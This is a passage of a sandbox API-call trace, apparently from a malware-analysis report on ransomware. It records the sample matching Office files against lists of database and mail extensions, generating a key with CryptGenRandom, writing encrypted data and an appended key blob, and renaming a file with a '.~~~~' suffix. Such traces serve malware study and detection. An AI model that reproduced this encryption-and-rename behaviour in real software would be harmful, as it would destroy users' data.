	[0136.816] lstrlenW (lpString=".SDF") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".SDF") returned 0x0
	[0136.816] lstrlenW (lpString=".dtxs") returned 5
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dtxs") returned 0x0
	[0136.816] lstrlenW (lpString=".db3") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".db3") returned 0x0
	[0136.816] lstrlenW (lpString=".OST") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".OST") returned 0x0
	[0136.816] lstrlenW (lpString=".dbx") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dbx") returned 0x0
	[0136.816] lstrlenW (lpString=".DB3") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DB3") returned 0x0
	[0136.816] lstrlenW (lpString=".DAT") returned 4
	[0136.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DAT") returned 0x0
	[0136.817] lstrlenW (lpString=".VHDX") returned 5
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".VHDX") returned 0x0
	[0136.817] lstrlenW (lpString=".ndf") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".ndf") returned 0x0
	[0136.817] lstrlenW (lpString=".DB") returned 3
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DB") returned 0x0
	[0136.817] lstrlenW (lpString=".sql") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".sql") returned 0x0
	[0136.817] lstrlenW (lpString=".MYD") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".MYD") returned 0x0
	[0136.817] lstrlenW (lpString=".DBT") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DBT") returned 0x0
	[0136.817] lstrlenW (lpString=".ACCDB") returned 6
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".ACCDB") returned 0x0
	[0136.817] lstrlenW (lpString=".fdb") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".fdb") returned 0x0
	[0136.817] lstrlenW (lpString=".bak") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".bak") returned 0x0
	[0136.817] lstrlenW (lpString=".myd") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".myd") returned 0x0
	[0136.817] lstrlenW (lpString=".DTXS") returned 5
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".DTXS") returned 0x0
	[0136.817] lstrlenW (lpString=".ckp") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".ckp") returned 0x0
	[0136.817] lstrlenW (lpString=".dbt") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".dbt") returned 0x0
	[0136.817] lstrlenW (lpString=".db") returned 3
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".db") returned 0x0
	[0136.817] lstrlenW (lpString=".TXT") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".TXT") returned 0x0
	[0136.817] lstrlenW (lpString=".MDF") returned 4
	[0136.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".MDF") returned 0x0
	[0136.817] lstrlenW (lpString=".bdb") returned 4
	[0136.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".bdb") returned 0x0
	[0136.818] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.818] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394a80) returned 1
	[0136.819] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.819] CryptReleaseContext (hProv=0x394a80, dwFlags=0x0) returned 1
	[0136.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.819] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25680951179) returned 1
	[0136.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbafd3b30, dwHighDateTime=0x1d60e1e)) 
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4d28
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4d28 | out: hHeap=0x300000) returned 1
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0136.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.820] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.821] GetLastError () returned 0x0
	[0136.821] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.821] GetLastError () returned 0x0
	[0136.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffd680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.823] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x2980, lpOverlapped=0x0) returned 1
	[0136.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.824] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.824] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.824] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.824] CloseHandle (hObject=0x114) returned 1
	[0136.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0136.824] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.~~~~")) returned 1
	[0136.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc5d8 | out: hHeap=0x300000) returned 1
	[0136.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.827] GetLastError () returned 0x0
	[0136.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0136.827] lstrlenW (lpString=".cmd") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0136.828] lstrlenW (lpString=".dll") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0136.828] lstrlenW (lpString=".bat") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0136.828] lstrlenW (lpString=".cpl") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0136.828] lstrlenW (lpString=".sys") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0136.828] lstrlenW (lpString=".msc") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0136.828] lstrlenW (lpString=".com") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0136.828] lstrlenW (lpString=".lnk") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0136.828] lstrlenW (lpString=".msp") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0136.828] lstrlenW (lpString=".pif") returned 4
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0136.828] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0136.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.830] lstrlenW (lpString=".sqb") returned 4
	[0136.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
	[0136.831] lstrlenW (lpString=".ost") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0136.831] lstrlenW (lpString=".txt") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0136.831] lstrlenW (lpString=".mdt") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0136.831] lstrlenW (lpString=".BDB") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0136.831] lstrlenW (lpString=".eql") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0136.831] lstrlenW (lpString=".DBF") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0136.831] lstrlenW (lpString=".EQL") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0136.831] lstrlenW (lpString=".FDB") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0136.831] lstrlenW (lpString=".EDB") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0136.831] lstrlenW (lpString=".DACPAC") returned 7
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0136.831] lstrlenW (lpString=".VHD") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0136.831] lstrlenW (lpString=".DBV") returned 4
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0136.831] lstrlenW (lpString=".dacpac") returned 7
	[0136.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0136.832] lstrlenW (lpString=".sdf") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0136.832] lstrlenW (lpString=".accdb") returned 6
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0136.832] lstrlenW (lpString=".DBX") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0136.832] lstrlenW (lpString=".MDT") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0136.832] lstrlenW (lpString=".SQB") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0136.832] lstrlenW (lpString=".vhd") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0136.832] lstrlenW (lpString=".bac") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0136.832] lstrlenW (lpString=".mdf") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0136.832] lstrlenW (lpString=".BAK") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0136.832] lstrlenW (lpString=".BAC") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0136.832] lstrlenW (lpString=".dbs") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0136.832] lstrlenW (lpString=".vhdx") returned 5
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0136.832] lstrlenW (lpString=".NDF") returned 4
	[0136.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0136.833] lstrlenW (lpString=".dat") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0136.833] lstrlenW (lpString=".DBS") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0136.833] lstrlenW (lpString=".CKP") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0136.833] lstrlenW (lpString=".edb") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0136.833] lstrlenW (lpString=".PST") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0136.833] lstrlenW (lpString=".dbf") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0136.833] lstrlenW (lpString=".SQL") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0136.833] lstrlenW (lpString=".pst") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0136.833] lstrlenW (lpString=".dbv") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0136.833] lstrlenW (lpString=".SDF") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0136.833] lstrlenW (lpString=".dtxs") returned 5
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0136.833] lstrlenW (lpString=".db3") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0136.833] lstrlenW (lpString=".OST") returned 4
	[0136.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0136.833] lstrlenW (lpString=".dbx") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0136.834] lstrlenW (lpString=".DB3") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0136.834] lstrlenW (lpString=".DAT") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0136.834] lstrlenW (lpString=".VHDX") returned 5
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0136.834] lstrlenW (lpString=".ndf") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0136.834] lstrlenW (lpString=".DB") returned 3
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0136.834] lstrlenW (lpString=".sql") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0136.834] lstrlenW (lpString=".MYD") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0136.834] lstrlenW (lpString=".DBT") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0136.834] lstrlenW (lpString=".ACCDB") returned 6
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0136.834] lstrlenW (lpString=".fdb") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0136.834] lstrlenW (lpString=".bak") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0136.834] lstrlenW (lpString=".myd") returned 4
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0136.834] lstrlenW (lpString=".DTXS") returned 5
	[0136.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0136.835] lstrlenW (lpString=".ckp") returned 4
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0136.835] lstrlenW (lpString=".dbt") returned 4
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0136.835] lstrlenW (lpString=".db") returned 3
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0136.835] lstrlenW (lpString=".TXT") returned 4
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0136.835] lstrlenW (lpString=".MDF") returned 4
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0136.835] lstrlenW (lpString=".bdb") returned 4
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0136.835] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
